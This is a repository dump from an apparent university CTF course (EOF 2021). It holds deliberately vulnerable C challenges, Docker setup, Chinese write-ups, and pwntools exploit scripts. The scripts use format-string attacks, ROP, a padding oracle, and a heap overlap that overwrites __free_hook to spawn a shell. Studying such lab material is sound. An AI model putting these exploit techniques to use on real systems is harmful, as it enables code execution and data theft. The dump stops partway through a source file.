FILE: 2021/eof-final/sugar/xinetd
================================================
service sugar
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/sugar/run.sh
    user = sugar
    port = 45124
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/eof-final/two-gadget/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m -d /home/<redacted> two-gadget
RUN chown -R root:root /home/<redacted>
RUN chmod -R 755 /home/<redacted>

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/eof-final/two-gadget/docker-compose.yml
================================================
version: '3'

services:
  two-gadget:
    build: ./
    volumes:
      - ./share:/home/<redacted>:ro
      - ./xinetd:/etc/xinetd.d/two-gadget:ro
    ports:
      - "45126:45126"
    expose:
      - "45126"

================================================
FILE: 2021/eof-final/two-gadget/share/Makefile
================================================
all:
	gcc -o two-gadget two-gadget.c -lseccomp

debug:
	gcc -g -o two-gadget two-gadget.c -lseccomp

================================================
FILE: 2021/eof-final/two-gadget/share/flag
================================================
FLAG{TEST}

================================================
FILE: 2021/eof-final/two-gadget/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/<redacted>/two-gadget

================================================
FILE: 2021/eof-final/two-gadget/share/two-gadget.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <seccomp.h>

void init_proc()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);
}

int main()
{
    char buf[0x8] = {0};

    init_proc();
    printf("Gift: %p\n", setvbuf);

    read(0, buf, 0x8);
    ((void (*)(void)) (*(unsigned long *) buf))();

    read(0, buf, 0x8);
    write(1, (*(unsigned long *) buf), 0x8);

    read(0, buf, 0x28);
    return 0;
}

================================================
FILE: 2021/eof-final/two-gadget/xinetd
================================================
service two-gadget
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/<redacted>/run.sh
    user = two-gadget
    port = 45126
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/eof-qual/fullchain-buff/README.md
================================================
## 非預期解

大致步驟為:

1. leak stack address
2. write fmtstr in global
3. use fsb to overwrite `cnt` or return address



因為 `cnt` 在 `printf()` 的深處仍會將 register 上的值 push 到 stack 上:

```
0x7f9693b13eb2 <printf+162>    mov    dword ptr [rsp + 4], 0x30
0x7f9693b13eba <printf+170>    call   __vfprintf_internal

0x7f9693b289f9 <__vfprintf_internal+25>    push   rbx
0x7f9693b289fa <__vfprintf_internal+26>    sub    rsp, 0x548
```

如果能控制 pointer 指向對應到的 stack 位址,就可以透過 fmt 蓋寫成一個很大的值,之後就是不斷透過 fmt 來做事,像是跳 one gadget 或做 stack pivoting,打法有很多種就不贅述。



## 預期解

一共分成三個步驟:

1. leak libc address
2. write one gadget to variable `global`
3. overwrite `(struct link_map) map[0]` in the stack



可以先以一個簡單程式做示範:

```c
// gcc -Wl,--dynamic-linker=/usr/src/glibc/glibc_dbg/elf/ld.so -no-pie -g -o test test.c
#include <stdio.h>
char globals[0x20] = {0};
int main()
{
    puts("OWO");
    return 0;
}
```

配合 gdb script,載入 debug version library 並且下斷點在 `main()`:

```
set exec-wrapper env "LD_PRELOAD=/usr/src/glibc/glibc_dbg/libc.so"
b main
r
```



此時觀察 stack 中的內容,應該都可以發現有一個位址落在 `ld.so` (dynamic linker library) 下方的記憶體區塊:

![](images/1.png)


而此位址是在 linker 一開始替程式做一些執行的前處理時所留下,如果有興趣的話可以下斷點在 `_dl_init()` 開始追,這邊是 linker 在做初始化環境的程式碼:

![](images/2.png)



最後確實會在某個地方準備執行 `_start()`,也就是 c-runtime:

![](images/3.png)


因此實際上 `_start()` 還不能說是整個程式載入時的第一個進入點,linker 前面還做了一大堆事情。而 `main()` 在 return 後會回到 `<__libc_start_main+243>` (常打 pwn 的應該會對 243 這個數字不陌生),最後執行 `exit(<return_value>)`,而 `exit()` 在往深入追的話會到 `__run_exit_handlers()`,這個 function 才會真正的去執行某些 segment 的 fini function ([exit.c](https://elixir.bootlin.com/glibc/glibc-2.31/source/stdlib/exit.c)):

1. `__call_tls_dtors()`: tls (thread local storage) 的 destructor,當 thread 結束或是 process exit 時會呼叫到

2. traverse `exit_function_list` 的 while loop: 執行透過 `atexit()` 或 `on_exit()` 所註冊的 function,正常情況下只會有一個 function `_dl_fini()` 會被執行,如果有註冊的會被 insert 在更前面的位置

3. `RUN_HOOK (__libc_atexit, ());`: 變數 `__elf_set___libc_atexit_element__IO_cleanup__` 內會存放一個 function address,而該段程式碼會去執行對應的 function,正常情況下是 `_IO_cleanup()`,也意味著 `exit()` 在最後會執行 flush buffer 之類的行為

   - 這邊 `__elf_set___libc_atexit_element__IO_cleanup__` 會是可寫的,因此這邊也可以作為寫入 one_gadget 的目標,而且剛好滿足:

     ```shell
     0xe6c7e execve("/bin/sh", r15, r12)
     constraints:
       [r15] == NULL || r15 == NULL
       [r12] == NULL || r12 == NULL
     ```



最後會執行 `_exit()`,裡面就單純執行 `sys_exit` 離開程式。



接下來追 `_dl_fini()` 的執行流程 ([dl-fini](https://elixir.bootlin.com/glibc/glibc-2.31/source/elf/dl-fini.c)),這個 function 對應一開始 linker 用來初始化環境的 function `_dl_init()`,主要處理呼叫 loaded objects 的 destructor function,其中由於 process 可能處在多個 namespace,因此 `_dl_fini()` 也會 handle 不同 namespace 的情況,但是如果只處於一個 namespace,也就是最一般的情況,實際上程式碼會直接從下方開始:

```c
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;

// 取得該 namespace 的 loaded shared objects
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
    if (l == l->l_real)
    {
        assert (i < nloaded);
        maps[i] = l;
        l->l_idx = i;
        ++i;
        ++l->l_direct_opencount;
    }
...
unsigned int nmaps = i;
...
```

在執行完上方的 for loop 後,`maps[]` 儲存:

1. `maps[0]`: binary 本身
2. `maps[1]`: **linux-vdso.so.1**
3. `maps[2]`: **/usr/src/glibc/glibc_dbg/libc.so**
4. `maps[3]`:**/usr/src/glibc/glibc_dbg/elf/ld.so**

這些 loaded shared objects 本身可能會定義一些在程式結束前所要執行的 fini function,在這邊先取得其對應到的 `struct link_map` object,而 `struct link_map` 被用來描述 loaded shared object 的一些屬性,結構如下:

```c
struct link_map
{
    ElfW(Addr) l_addr;
    char *l_name;
    ElfW(Dyn) *l_ld;
    struct link_map *l_next, *l_prev;
};
```



再來就是透過 for loop 來 traverse 所有的 `maps`,而 `struct link_map` 結構本身的資訊如 `l_info` 都來自 ELF 的 section,基本上都能找到相對應的資料:

```c
for (i = 0; i < nmaps; ++i)
{
    struct link_map *l = maps[i];
    if (l->l_init_called)
    {
        l->l_init_called = 0;

        // 這個 object 有沒有定義 fini function (destructor)
        // #define DT_FINI_ARRAY 26
        // #define DT_FINI 13
        if (l->l_info[DT_FINI_ARRAY] != NULL
            || l->l_info[DT_FINI] != NULL) {
            
            // 如果是給一個 fini array 去執行,這樣 array 所儲存的每個 function address 都需要被呼叫
            if (l->l_info[DT_FINI_ARRAY] != NULL)
            {
                // 取得 array 的開頭
                ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
                // 取得總共的 element 數量
                unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                                / sizeof (ElfW(Addr)));
                
                // 呼叫每個 fini function
                while (i-- > 0)
                    ((fini_t) array[i]) ();
            }

            // 之後檢查會不會有比較舊的 destructor
            if (l->l_info[DT_FINI] != NULL)
                DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
            /**
             * # define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) ()
             * 可以看做執行 (*(l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr))()
             */

        }
    ...
    }
    ...
}
```



而在處理 `maps[0]` 並執行到 `ElfW(Addr) *array = ...` 時,會發現 `maps[0]` 的值會等於我們在 `main()` 看到 stack 內有儲存某個落於 `ld.so` 下方的位址,也就代表那個位址指向 binary 本身的 `struct link_map`:

![](images/4.png)


看一下一些變數的相對位址與值:

![](images/5.png)

- `l->l_addr` 的值為 0,而且是第一個 member,位址與 `struct link_map` 本身的位址相同
- `l->l_info[26]->d_un.dptr` 的值為 0x403e18,並且因為 `l_addr` 為 0,`array` 會指向 0x403e18
- `array[0]` 為 `0x401100`,是 `__do_global_dtors_aux()` 的位址,代表 binary 本身已經有註冊 auxiliary vector 的 destructor
- 變數 `char globals[0x20]` 的位址為 `0x404060`
- `array` 與 `char globals[0x20]` 的差距為 584 (0x248)



最後取出 `array[]` 內儲存的 function pointer 並執行,執行次數已經在編譯時期定義在 section 當中,為以下變數 `i` 儲存的值 (`1`):

![](images/6.png)



到此回到 fullchain-buff 題目本身,總共可以利用三次:

1. 利用 fmt 來 leak libc address,並找出 one gadget 的位址
2. 可以在 `globals` 變數中讀入 fmt,並在 `globals+0x10` 的地方寫入 one gadget 的位址
3. 印出第二步讀入的 fmt 來寫入在 stack 當中儲存指向 `maps[0]` 位址的 pointer,篡改 `l->l_addr` 的值為 `globals+0x10 - l->l_info[26]->d_un.dptr`,這樣再加上 `l->l_info[26]->d_un.dptr` 後 `array` 就會是 `globals+0x10`

最後 `array[0]` 會取出 one gadget address,並做為 function pointer 去呼叫。不過在呼叫時,單純使用 tool **one_gadget** 找到的 gadget 並沒辦法滿足條件,只能自己去 `__execvpe()` 裡面挖,而 `libc + 0xe6f31` 的 one gadget 需要滿足:

1. `rbp-0x50` is writable
2. `rax == NULL || [rax] == NULL`
3. `r12 == NULL || [r12] == NULL`

剛好符合條件,因此只需要填入此 one gadget,就能在 `((fini_t) array[0]) ()` 時 get shell。



[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)

================================================
FILE: 2021/eof-qual/hello-world/README.md
================================================
此題沒有附上 source code,單純是要考為 function 加上 `__attribute__((destructor))` 的屬性後,該 function 就會在 `_dl_fini()` 時被呼叫:

``` c
static void fini() __attribute__((destructor));
static void fini()
{
    uint16_t flag[] = {0x2f00, 0x6800, 0x6f00, 0x6d00, 0x6500, 0x2f00, 0x6800, 0x6500, 0x6c00, 0x6c00, 0x6f00, 0x2d00,
                        0x7700, 0x6f00, 0x7200, 0x6c00, 0x6400, 0x2f00, 0x6600, 0x6c00, 0x6100, 0x6700, 0x0000};
    unsigned char owo[23] = {0};

    for (int i = 0; i < 23; i++)
        owo[i] = flag[i] >> 8;
    
    int fd = open(owo, O_RDONLY);
    if (fd == -1)
        return;

    char s[0x10] = {0};
    read(0, s, 1);
    if (s[0] == '\xff')
        read(0, s, 0x200);
}
```



當知道有這個 function 的存在後,直接做 ROP 執行 `read(3, buf, <large_number>) + puts(buf)` 後跳回 `main()`,讓他執行 `fflush()` 將 output buffer 清空即可,ROP payload 如下:

```python
rop = flat(
    # read(3, bss, <large_number>)
    rop_pop_rdi_ret, 3,
    rop_pop_rsi_r15_ret, bss, 0,
    plt_read,
    
    # puts(bss)
    rop_pop_rdi_ret, bss,
    plt_puts,
    
    main # will call fflush(stdout)
)
```



這邊遇到滿多人詢問為什麼在 remote 時 flag 不會輸出,原因在於根據環境的不同,buffer type 也有可能不太一樣,剛好這支程式在 remote 時 buffer type 為 `_IOFBF` (Full buffering),資料滿的時候才會清空並印出,跟 local 時的 buffer type `_IOLBF` (Line buffering) 並不相同,因此在 remote 才需要透過 `fflush(stdout)` 清空 stdout 的 buffer。



[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)

================================================
FILE: 2021/eof-qual/myfs/README.md
================================================
這題基本上就是考看 code + 找洞,利用相較容易,**flag2** 的問題最明顯,因為沒事不會設計成可以篡改加密的檔案,還做 padding 跟檢查 padding,寫法有夠怪應該是最容易發現。

解掉 **flag1** 也能解 **flag2**,因為 uid 相同直接用 `dec()` 解開就好;解掉 **flag3** 也能解 **flag1, 2**,因為可以透過漏洞構造出 `aar()` 跟 `aaw()`,改 uid or leak key 都可。



### flag1


雖然看似 `mu_cnt` 有擋不能為 `0x100`,但是 `mu_cnt` 因為是 `uint8_t`,因此值只會在 0 ~ 255,不會有 256 的情況。所以當你建立夠多使用者,就能讓你的 uid 變成 0,而檔案存取是看 `uid` 是否相同,所以可以存取到 root 的檔案,拿到 flag。

```c
const uint32_t mu_max_user_cnt = 0x100;
static uint8_t mu_cnt = 0;
MyUser *__new_mu(const char *username, const char *password, MyFile *rootfs_mf)
{
    if (mu_cnt == mu_max_user_cnt)
        return NULL;
}
```



### flag2

加解密過程請看 `my_encrypt()` 與 `my_decrypt()` 的 code。



leak iv:

```c
ssize_t write_mf(MyUser *ms, MyFile *mf)
{
    ...
    if (mf_is_enc(mf))
        return hexdump(mf->data.ino->content, AES_BLOCK_SIZE);
    ...
}
```



overwrite iv:

```c
int read_mf(MyUser *mu, MyFile *mf)
{
    ...
    if (mf_is_enc(mf))
        return read(STDIN_FILENO, mf->data.ino->content, mf->size);
    ...
}
```



因為可以 leak 出加密的檔案 iv 並修改,加上解密時若 padding 不對就會回報 error,因此我們可以透過 padding oracle attack 來爆出明文,exploit 如下:

```python
flag = b'\n\x07\x07\x07\x07\x07\x07\x07'
i = len(flag) + 1
while i < 0x10:
    if sys.argv[1] == 'remote':
        r = remote('edu-ctf.zoolab.org', 30213)
        solve_pow(r)
    else:
        r = process('./myfs')
    
    write_file('test_file_L1')
    cipher = r.recvuntil('/> ', drop=True)
    cipher = bytes.fromhex(cipher.decode())
    
    tmp_cipher = cipher[:-i] + b'\x00'
    for j in range(-i+1, 0, 1):
        tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ])

    r.sendline("info test_file_L1")
    try:
        for bt in range(0x100):
            if bt == cipher[-i]:
                continue
            if -i + 1 == 0:
                try_cipher = tmp_cipher[:-i] + bytes([bt])
            else:
                try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:]
            
            read_file('test_file_L1', try_cipher)
            dec_file('test_file_L1')
            oracle = r.recv(3)

            if oracle != b'[-]':
                xd = bytes([bt ^ i ^ cipher[-i]])
                if xd.decode() in wl:
                    flag = xd + flag
                    print("[flag]: ", flag)
                    i += 1
                break
    except:
        pass
```



### flag3



`_new_normfile()` 在建立新的 **normfile** 時沒有對 `mf->data.ino->content` 初始化:

```c
MyFile *_new_normfile(uint8_t uid, char *fn)
{
    MyFile *mf = __new_mf();
    mf->uid = uid;
    mf->fn = strdup(fn);
    mf->data.ino = (iNode *) malloc(sizeof(iNode));
    // 這邊應該要多一個: mf->data.ino->content = NULL;
    mf->data.ino->refcnt = 1;
    return mf;
}
```



而在呼叫 `read_mf()` 時若 `mf->data.ino->content` 為 0,基本上等同於 `calloc()`:

```c
int read_mf(MyUser *mu, MyFile *mf)
{
    ...
    
    if (!mf->size || chk_min < 0 || chk_max < 0 || chk_min > nr || chk_max < nr)
        mf->data.ino->content = realloc(mf->data.ino->content, nr + 0x10);
        
	...
}
```



然而因為 heap 一開始沒有什麼資料,因此 `mf->data.ino->content` 預設就會指向 `NULL`,致使在呼叫 `read_mf()` 時不會發生問題。然而一旦 deleted 的檔案到達 16 個,就會觸發 gc 的回收機制,將每個 deleted `MyFile` 給釋放掉,此時若再新增 **normfile**,`mf->data.ino->content` 就未必指向 NULL 了。實際上可以透過這種方式控制 0x30 tcache 中某個 chunk 的 next,在撞 1/16 機率的情況下,可以指定拿到在 heap address 當中的某塊記憶體區塊。

而 `iNode` 的大小剛好是 0x30,如果能夠順利讓 `iNode` 拿到我們所控制的 chunk,並且與某個 `MyFile` 的 `content` 做重疊,就能透過印出/修改 `iNode` 的 pointer 來 leak heap/overwrite content pointer,構造 `aar()` 與 `aaw()` 的 primitive。最後用 `aar()` 讀殘留在 heap 上的 openssl library 位址來 leak libc,以 `aaw()` 寫 `__free_hook` 成 `system` 即可,exploit 如下:

```python
for i in range(0xe):
    create_normfile(str(i))

create_normfile('large_file')
read_file('large_file', 0x408 * b'\x00')

for i in range(0xe):
    delete_file(str(i))

create_normfile('owo')
# gdb.attach(r)
read_file('owo', b'\x50\x3b')

create_normfile('qaq')
read_file('qaq', 0x18 * b'\x00')

write_file('large_file') # overlap with inode of qaq
r.recv(0x10)
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x18a0
info(f"heap: {hex(heap)}")

def aar(addr):
    data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00')
    read_file('large_file', data)
    write_file('qaq')

def aaw(addr, content):
    data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00')
    read_file('large_file', data)
    read_file('qaq', content.ljust(0x18, b'\x00'))

aar(heap + 0x890)
libc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000
__free_hook = libc + 0x1eeb28
_system = libc + 0x55410
info(f"libc: {hex(libc)}")
aaw(heap + 0x10, p64(0x0000000100040000))
aaw(__free_hook - 8, b'/bin/sh\x00' + p64(_system))

for i in range(0xf):
    create_normfile(str(i))

for i in range(0xf):
    delete_file(str(i))

delete_file('qaq')
r.interactive()
exit(1)
except Exception as e:
print(e)
```



P.S. 過程中可能會遇到 0x30 tcache `count != 0` 但是 `entrt == NULL` 的情況,因此需要先透過 `aaw()` 來修改 `tcache_perthread_struct` 的內容,才能讓程式繼續執行。



[full exploit and source code](https://github.com/u1f383/Software-Security-2021/tree/master/quals)



================================================
FILE: 2021/quals/exp/fullchain-buff.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('edu-ctf.zoolab.org', 30205)

    # leak libc
    r.sendlineafter('global or local > ', 'local')
    r.sendlineafter('read or write > ', 'write%23$p')
    libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3
    one_shot = libc + 0xe6f31
    """
    0xe6f31: rax == NULL || [rax] == NULL
    """
    info(f"libc: {hex(libc)}")
    info(f"one_shot: {hex(one_shot)}")

    # write one_gadget
    r.sendlineafter(' > ', 'global')
    r.sendlineafter('read or write > ', 'read')
    r.sendlineafter('length > ', '22')
    r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6])

    # overwrite link_map
    r.sendlineafter('global or local > ', 'global')
    r.sendlineafter('read or write > ', 'write')
    r.interactive()

else:
    r = process('./fullchain-buff')

    # leak libc
    r.sendlineafter('global or local > ', 'local')
    r.sendlineafter('read or write > ', 'write%23$p')
    libc = int(r.recvuntil('global or local', drop=True)[-14:], 16) - 0x270b3
    one_shot = libc + 0xe6f31
    """
    0xe6f31: rax == NULL || [rax] == NULL
    """
    info(f"libc: {hex(libc)}")
    info(f"one_shot: {hex(one_shot)}")

    # write one_gadget
    r.sendlineafter(' > ', 'global')
    r.sendlineafter('read or write > ', 'read')
    r.sendlineafter('length > ', '22')
    r.send(b'%688c%42$nAAAAAA' + p64(one_shot)[:6])

    # overwrite link_map
    r.sendlineafter('global or local > ', 'global')
    r.sendlineafter('read or write > ', 'write')
    r.interactive()


================================================
FILE: 2021/quals/exp/hello-world.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('edu-ctf.zoolab.org', 30212)
else:
    r = process('./hello-world')

plt_puts = 0x401080
plt_read = 0x401090
bss = 0x404140

rop_pop_rdi_ret = 0x4013a3
rop_pop_rsi_r15_ret = 0x4013a1
main = 0x401301

rop = flat(
    rop_pop_rdi_ret, 3,
    rop_pop_rsi_r15_ret, bss, 0,
    plt_read,
    rop_pop_rdi_ret, bss,
    plt_puts,
    main
)

r.send(b'\xff' + b'\x00' * 0x8 * 15 + rop)
r.interactive()


================================================
FILE: 2021/quals/exp/myfs-fuzz.py
================================================
#!/usr/bin/python3

from pwn import *
import random

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./myfs')

def create_user(u, p):
    r.sendlineafter('> ', f"useradd {u} {p}")

def delete_user(u, p):
    r.sendlineafter('> ', f"userdel {u} {p}")

def login(u, p):
    r.sendlineafter('> ', f"login {u} {p}")

def create_normfile(fn):
    r.sendlineafter('> ', f"create normfile {fn}")

def create_dir(fn):
    r.sendlineafter('> ', f"create dir {fn}")

def delete_file(fn):
    r.sendlineafter('> ', f"rm {fn}")

def enc_file(fn, key):
    r.sendlineafter('> ', f"enc {fn} {key}")

def dec_file(fn, key):
    r.sendlineafter('> ', f"dec {fn} {key}")

def enter_dir(fn):
    r.sendlineafter('> ', f"cd {fn}")

def info(fn):
    r.sendlineafter('> ', f"info {fn}")

def read_file(fn):
    r.sendlineafter('> ', f"read {fn}")

def write_file(fn):
    r.sendlineafter('> ', f"write {fn}")
    r.sendline('A' * random.randint(1, 0x100))

def set_prot_file(fn, prot):
    r.sendlineafter('> ', f"set {fn} {prot}")

def unset_prot_file(fn, prot):
    r.sendlineafter('> ', f"unset {fn} {prot}")

def slss_file(fn):
    r.sendlineafter('> ', f"slss {fn}")

def slsd_file(fn):
    r.sendlineafter('> ', f"slsd {fn}")

def hlss_file(fn):
    r.sendlineafter('> ', f"hlss {fn}")

def hlsd_file(fn):
    r.sendlineafter('> ', f"hlsd {fn}")

fn_list = [ chr(i) for i in range(256) ] + [".."]
key_list = [ chr(i)*16 for i in range(256) ]
uname_list = [ chr(i)*8 for i in range(256) ]
pass_list = [ chr(i)*8 for i in range(256) ]

epoch = 0
while True:
    opt = random.randint(0, 18)
    u = uname_list[ random.randint(0, 255) ]
    p = pass_list[ random.randint(0, 255) ]
    fn = fn_list[ random.randint(0, 256) ]
    key = key_list[ random.randint(0, 255) ]

    if opt == 0:
        create_user(u, p)
    elif opt == 1:
        delete_user(u, p)
    elif opt == 2:
        login(u, p)
    elif opt == 3:
        create_normfile(fn)
    elif opt == 4:
        create_dir(fn)
    elif opt == 5:
        enc_file(fn, key)
    elif opt == 6:
        dec_file(fn, key)
    elif opt == 7:
        read_file(fn)
    elif opt == 8:
        write_file(fn)
    elif opt == 9:
        set_prot_file(fn, "read,write")
    elif opt == 10:
        unset_prot_file(fn, "read,write")
    elif opt == 11:
        slss_file(fn)
    elif opt == 12:
        slsd_file(fn)
    elif opt == 13:
        hlss_file(fn)
    elif opt == 14:
        hlsd_file(fn)
    elif opt == 15:
        enter_dir(fn)
    elif opt == 16:
        info(fn)
    elif opt == 17:
        r.sendlineafter('> ', 'ls')
    else:
        cnt = random.randint(1, 0x10)
        r.sendlineafter('> ', 'A'*cnt)

    epoch += 1
    if epoch % 1000 == 0:
        print("test...", epoch)

r.interactive()


================================================
FILE: 2021/quals/exp/myfs.py
================================================
#!/usr/bin/python3

from pwn import *
import sys
import string

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) != 3:
    exit(1)

r = None

def create_user(u, p):
    r.sendlineafter('> ', f"useradd {u} {p}")

def delete_user(u, p):
    r.sendlineafter('> ', f"userdel {u} {p}")

def login(u, p):
    r.sendlineafter('> ', f"login {u} {p}")

def create_normfile(fn):
    r.sendlineafter('> ', f"create normfile {fn}")

def create_dir(fn):
    r.sendlineafter('> ', f"create dir {fn}")

def delete_file(fn):
    r.sendlineafter('> ', f"rm {fn}")

def enc_file(fn):
    r.sendlineafter('> ', f"enc {fn}")

def dec_file(fn):
    r.sendlineafter('> ', f"dec {fn}")

def enter_dir(fn):
    r.sendlineafter('> ', f"cd {fn}")

def _info(fn):
    r.sendlineafter('> ', f"info {fn}")

def read_file(fn, data):
    r.sendlineafter('> ', f"read {fn}")
    r.send(data)
    sleep(0.5)

def write_file(fn):
    r.sendlineafter('> ', f"write {fn}")

def set_prot_file(fn, prot):
    r.sendlineafter('> ', f"set {fn} {prot}")

def unset_prot_file(fn, prot):
    r.sendlineafter('> ', f"unset {fn} {prot}")

def slss_file(fn):
    r.sendlineafter('> ', f"slss {fn}")

def slsd_file(fn):
    r.sendlineafter('> ', f"slsd {fn}")

def hlss_file(fn):
    r.sendlineafter('> ', f"hlss {fn}")

def hlsd_file(fn):
    r.sendlineafter('> ', f"hlsd {fn}")

def verify_hash(prefix, answer, difficulty):
    h = hashlib.sha256()
    h.update((prefix + answer).encode())
    bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
    return bits.startswith('0' * difficulty)

def solve_pow(r):
    r.recvuntil('sha256(')
    prefix = r.recvuntil(' + ???)', drop = True).decode()

    i = 0
    while not verify_hash(prefix, str(i), 20):
        i += 1

    print(i)
    r.sendlineafter('POW answer:', str(i))

wl = string.ascii_letters + string.digits + '\n'
if sys.argv[2] == 'flag3':
    for _ in range(0x40):
        try:
            if sys.argv[1] == 'remote':
                r = remote('edu-ctf.zoolab.org', 30213)
                solve_pow(r)
            else:
                r = process('./myfs')

            for i in range(0xe):
                create_normfile(str(i))

            create_normfile('large_file')
            read_file('large_file', 0x408 * b'\x00')

            for i in range(0xe):
                delete_file(str(i))

            create_normfile('owo')
            # gdb.attach(r)
            read_file('owo', b'\x50\x3b')

            create_normfile('qaq')
            read_file('qaq', 0x18 * b'\x00')

            write_file('large_file') # overlap with inode of qaq
            r.recv(0x10)
            heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x18a0
            info(f"heap: {hex(heap)}")

            def aar(addr):
                data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00')
                read_file('large_file', data)
                write_file('qaq')

            def aaw(addr, content):
                data = (p64(0)*2 + p64(addr)).ljust(0x408, b'\x00')
                read_file('large_file', data)
                read_file('qaq', content.ljust(0x18, b'\x00'))

            aar(heap + 0x890)
            libc = u64(r.recv(8)) - 0x2d0e00 - 0x1f2000
            __free_hook = libc + 0x1eeb28
            _system = libc + 0x55410
            info(f"libc: {hex(libc)}")
            aaw(heap + 0x10, p64(0x0000000100040000))
            aaw(__free_hook - 8, b'/bin/sh\x00' + p64(_system))

            for i in range(0xf):
                create_normfile(str(i))

            for i in range(0xf):
                delete_file(str(i))

            delete_file('qaq')
            r.interactive()
            exit(1)
        except Exception as e:
            print(e)
elif sys.argv[2] == 'flag2':
    flag = b'\n\x07\x07\x07\x07\x07\x07\x07'
    i = len(flag) + 1
    while i < 0x10:
        if sys.argv[1] == 'remote':
            r = remote('edu-ctf.zoolab.org', 30213)
            solve_pow(r)
        else:
            r = process('./myfs')
        
        write_file('test_file_L1')
        cipher = r.recvuntil('/> ', drop=True)
        cipher = bytes.fromhex(cipher.decode())
        
        tmp_cipher = cipher[:-i] + b'\x00'
        for j in range(-i+1, 0, 1):
            tmp_cipher += bytes([ cipher[j] ^ flag[j] ^ i ])

        r.sendline("info test_file_L1")
        try:
            for bt in range(0x100):
                if bt == cipher[-i]:
                    continue
                if -i + 1 == 0:
                    try_cipher = tmp_cipher[:-i] + bytes([bt])
                else:
                    try_cipher = tmp_cipher[:-i] + bytes([bt]) + tmp_cipher[-i+1:]
                
                read_file('test_file_L1', try_cipher)
                dec_file('test_file_L1')
                oracle = r.recv(3)

                if oracle != b'[-]':
                    xd = bytes([bt ^ i ^ cipher[-i]])
                    if xd.decode() in wl:
                        flag = xd + flag
                        print("[flag]: ", flag)
                        i += 1
                    break
        except:
            pass
        r.close()
        
    r.interactive()
elif sys.argv[2] == 'flag1':
    if sys.argv[1] == 'remote':
        r = remote('edu-ctf.zoolab.org', 30213)
        solve_pow(r)
    else:
        r = process('./myfs')
    
    for i in range(0xfd):
        create_user(str(i), str(i))

    create_user('fuck', 'fuck')
    login('fuck', 'fuck')
    enter_dir('test_dir_L1')
    write_file('test_file2_L2')
    
    r.interactive()
else:
    exit(1)


================================================
FILE: 2021/quals/fullchain-buff/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m fullchain-buff
RUN chown -R root:root /home/fullchain-buff
RUN chmod -R 755 /home/fullchain-buff

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/quals/fullchain-buff/docker-compose.yml
================================================
version: '3'

services:
  fullchain-buff:
    build: ./
    volumes:
      - ./share:/home/fullchain-buff:ro
      - ./xinetd:/etc/xinetd.d/fullchain-buff:ro
    ports:
      - "30205:30205"
    expose:
      - "30205"

================================================
FILE: 2021/quals/fullchain-buff/share/Makefile
================================================
all:
	gcc -no-pie -z now -o fullchain-buff fullchain-buff.c


================================================
FILE: 2021/quals/fullchain-buff/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/quals/fullchain-buff/share/fullchain-buff.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char global[0x20];

void myread(char *addr)
{
    size_t len;

    printf("length > ");
    scanf("%lu", &len);
    if (len >= 24) {
        puts("Too much");
        return;
    }
    read(0, addr, len);
}

void mywrite(char *addr)
{
    printf(addr);
}

void chal()
{
    char local[0x20] = {0};
    char *ptr = NULL;
    register int cnt = 3;

    while (cnt--)
    {
        printf("global or local > ");
        scanf("%10s", local);

        if (!strncmp("local", local, 5))
            ptr = local;
        else if (!strncmp("global", local, 6))
            ptr = global;
        else
            exit(1);

        printf("read or write > ");
        scanf("%10s", local);

        if (!strncmp("read", local, 4))
            myread(ptr);
        else if (!strncmp("write", local, 5))
            mywrite(ptr);
        else
            exit(1);
    }
    puts("Bye ~");
    exit(1);
}

int main()
{
